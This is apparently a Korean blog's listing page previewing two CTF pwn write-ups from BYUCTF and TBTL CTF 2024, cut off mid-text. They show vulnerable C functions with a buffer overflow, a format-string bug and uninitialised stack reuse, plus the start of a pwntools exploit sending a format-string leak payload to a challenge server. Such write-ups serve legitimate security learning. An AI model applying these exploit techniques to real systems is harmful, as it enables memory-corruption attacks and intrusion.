분류 전체보기
BYUCTF 2024 (Pwn)
[solved] [pwn/All]더보기int vuln(){ int result; // eax char buf[32]; // [rsp+0h] [rbp-20h] BYREF while ( 1 ) { result = strcmp(buf, "quit"); if ( !result ) break; read(0, buf, 0x100uLL); printf(buf); } return result;} bof, fsb가 발생한다.from pwn import *context.arch = 'amd64'# p = process('all')p = remote('all.chal.cyberjousting.com', 1348)p.send(b'%p.')stack = int(p.recvuntil(b'..
TBTL CTF 2024 (Pwn)
[solved] [pwn/Enough with the averages]더보기// gcc -o chall chall.c -Wextra#include #include void read_flag() { FILE* in; char flag[64]; in = fopen("flag.txt", "rt"); fscanf(in, "%s", flag); fclose(in);}void vuln() { int score[20]; int total = 0; for (int i=0; i read_flag 함수와 vuln 함수가 스택 프레임을 공유한다. vuln에선 값을 더해서 평균 값을 내고 출력해준다. scanf의 인자가 "%d"인데 문자를 넣게되면 값이 바뀌지 않고 보존된다.이를 이용해서 플래그 값을 추출해..